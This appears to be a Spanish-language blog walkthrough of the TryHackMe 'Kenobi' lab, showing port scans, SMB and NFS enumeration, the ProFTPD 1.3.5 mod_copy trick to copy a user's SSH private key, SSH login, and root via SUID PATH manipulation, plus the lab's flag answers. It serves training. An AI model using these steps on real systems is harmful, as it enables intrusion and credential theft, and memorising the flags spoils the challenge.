Kenobi - TryHackMe

Task 1 - Deploy the vulnerable machine


Vamos a hacer un escaneo de puerto con nmap:

nmap -sV -p- 10.10.36.18
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-19 19:55 CEST
Nmap scan report for 10.10.36.18
Host is up (0.046s latency).
Not shown: 65524 closed tcp ports (conn-refused)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         ProFTPD 1.3.5
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     2-3 (RPC #100227)
35715/tcp open  mountd      1-3 (RPC #100005)
40803/tcp open  mountd      1-3 (RPC #100005)
46211/tcp open  nlockmgr    1-4 (RPC #100021)
49169/tcp open  mountd      1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kerne

Scan the machine with nmap, how many ports are open?

  • 7



Task 2 - Enumerating Samba for shares


Utilizaremos el script de nmap para enumerar el samba:

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.36.18
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-19 20:04 CEST
Nmap scan report for 10.10.36.18
Host is up (0.045s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.36.18\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 2
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.36.18\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.36.18\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Using the nmap command above, how many shares have been found?

  • 3

Vamos a inspeccionar el recurso compartido anónimo usando el comando:

smbclient //10.10.36.18/anonymous

Cuando nos pregunta para introducir una contraseña, tan solo le daremos enter sin introducir nada. Luego podemos listar el contenido con el comando ls.

Once you’re connected, list the files on the share. What is the file can you see?

  • log.txt

Podemos usar get log.txt, para descargar el fichero en nuestra máquina local y poder visualizarlo. Si hacemos un head del archivo descargado (log.txt), vemos que ha generado un certificado y vemos también que ha configurado un poco el archivo de FTP.

What port is FTP running on?

  • 21

Se puede descargar recursivamente el SMB (se descarga en el directorio que estemos):

smbget -R smb://10.10.36.18/anonymous

Si vemos el nmap que hicimos vemos que tenemos el puerto abierto 111 que es el rcpbind. Este es solo un servidor que convierte el número de programa de llamada a procedimiento remoto (RPC) en direcciones universales. Cuando se inicia un servicio RPC, le dice a rpcbind la dirección en la que está escuchando y el número de programa RPC que está preparado para servir.

En nuestro caso, el puerto 111 es el acceso a un sistema de archivos de red. Usemos nmap para enumerar esto:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.36.18
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *

What mount can we see?

  • /var



Task 3 - Gain initial acces with ProFtpd


Usando netcat para conectarnos a la maquina en el puerto del FTP, vamos a poder ver la version del FTP:

nc 10.10.36.18 21
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.36.18]

What is the version?

  • 1.3.5

Vamos a buscar con searchsploit cuanto exploits existen del ftp v1.3.5:

searchsploit ProFTPd 1.3.5
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                    |  Path
-------------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                         | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                               | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                           | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                         | linux/remote/36742.txt
-------------------------------------------------------------------------------------------------- ---------------------------------

How many exploits are there for the ProFTPd running?

  • 3

El módulo mod_copy implementa los comandos SITE CPFR y SITE CPTO, que se pueden usar para copiar archivos/directorios de un lugar a otro en el servidor. Cualquier cliente no autenticado puede aprovechar estos comandos para copiar archivos desde cualquier parte del sistema de archivos a un destino elegido. Para utilizar y descargar el exploit por ejemplo:

searchsploit -m linux/remote/36803.py

Ahora vamos a copiar la clave privada de Kenobi usando los comandos SITE CPFR y SITE CPTO. La copiamos a la carpeta donde sí tenemos permiso mediante el usuario anonimo del ftp.

nc 10.10.36.18 21
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.36.18]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

Ahora vamos a montar el directorio /var/tmp en nuestra máquina con lo siguientes comandos:

$ mkdir /mnt/kenobiNFS
$ mount 10.10.36.18:/var /mnt/kenobiNFS
$ ls -la /mnt/kenobiNFS #Comprobar que se ha montacon con éxito

Ahora que tenemos la clave para poder acceder mediante ssh. Vamos a utilizarlo para poder acceder al equipo:

$ sudo chmod 600 /mnt/kenobiNFS/tmp/id_rsa
$ sudo ssh -i /mnt/kenobiNFS/tmp/id_rsa kenobi@10.10.36.18

Una vez conectados al usuario kenobi, vamos a bucar la flag:

kenobi@kenobi:~$ pwd
/home/kenobi
kenobi@kenobi:~$ ls
share  user.txt
kenobi@kenobi:~$ cat user.txt 
d0b0f3f53b6caa532a83915e19224899

What is Kenobi’s user flag (/home/kenobi/user.txt)?

  • d0b0f3f53b6caa532a83915e19224899



Task 4 - Privilege Escalation with Path Variable Manipulation


Los bits SUID pueden ser peligrosos, algunos binarios como passwd deben ejecutarse con privilegios elevados (ya que restablece su contraseña en el sistema), sin embargo, otros archivos personalizados que tienen el bit SUID pueden generar todo tipo de problemas.

Para buscar en un sistema este tipo de archivos, ejecute lo siguiente:

find / -perm -u=s -type f 2>/dev/null

Kenobi

What file looks particularly out of the ordinary?

  • /usr/bin/menu

Y si lo ejecutamos vemos que es un menú:

Kenobi

Run the binary, how many options appear?

  • 3

Si vemos el fichero con el comando strings:

Kenobi

Esto nos muestra que el binario se está ejecutando sin una ruta completa (por ejemplo, sin usar /usr/bin/curl o /usr/bin/uname). Como este archivo se ejecuta con privilegios de usuario raíz, podemos manipular nuestra ruta para obtener una shell.

Kenobi

Y ya tenemos acceso root para pode visualizar la flag que se encuentra en el usuario root:

Kenobi

What is the root flag (/root/root.txt)?

  • 177b3cd8562289f37382721c28381f02

Enhorabuena, conmpletaste la room.




Espero que te haya servido de ayuda este post. Me ayudarías mucho si lo compartes en tus RRSS, GRACIAS!